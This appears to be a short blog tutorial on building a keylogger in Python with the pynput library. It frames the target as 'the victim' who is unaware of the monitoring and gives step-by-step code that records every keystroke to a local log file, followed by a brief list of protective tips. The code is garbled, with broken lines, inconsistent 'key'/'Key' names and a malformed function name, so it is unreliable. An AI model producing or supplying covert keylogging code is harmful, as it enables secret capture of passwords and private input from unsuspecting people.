How to make a simple keylogger in python
What is keylogger ?
Recording the keys struck on a keyboard, and the victim using the
keyboard is unaware that their actions are being
monitored. This logging program is called a
keylogger. Data can then be retrieved by the person operating the logging program.
Step 1. Install the following packages:
- pip install pynput
Step 2. Import the required libraries:
import
pynput
from pynput.keyboard import key, Listener
Step 3. Define a list to store keys and a variable to store character
count.
charCount = 0
keys = []
Lets write a function to perform some actions when a key is pressed.
def onKeyPress(key):
try:
print('Key Pressed : ', Key) #print
pressed key
except Exception as ex:
print('There was an error :', ex)
Now, let's write a function to handle key release
def onKeyRelease(key):
global keys,
charCount
#Access global variables
if key == Key.esc:
return False
else:
if key ==
Key.enter:
#write keys to file
writeToFile(keys)
charCount = 0
keys
= []
elif key ==
Key.space: #write keys
to file
key = '
'
writeToFile(keys)
keys = []
charCount = 0
keys.append(key)
#store the keys
charCount +=
1
#Count keys pressed
Finally, let's define a function that will log the keys pressed to a log
file
def writeTo File(keys):
with
open('log.txt', 'a') as file:
for key in keys:
key = str(key).replace("'", "")
#replace ' with space
if 'key'.upper() not in key.upper():
file.write(key)
file.write("\n")
#insert now
line
We can use the Listener provided by '**pynput'** to log the keys
with Listener(on_press=onKeyPress,\
on_release=onKeyRelease) as listener:
listener.join()
6 Ways to protect yourself against keyloggers
1. Use a firewall
2. Install a password manager
3. Update your system
4. Consider additional security tools
5.
Change your passwords
6. Remove any unwanted physical cable/device
from system...
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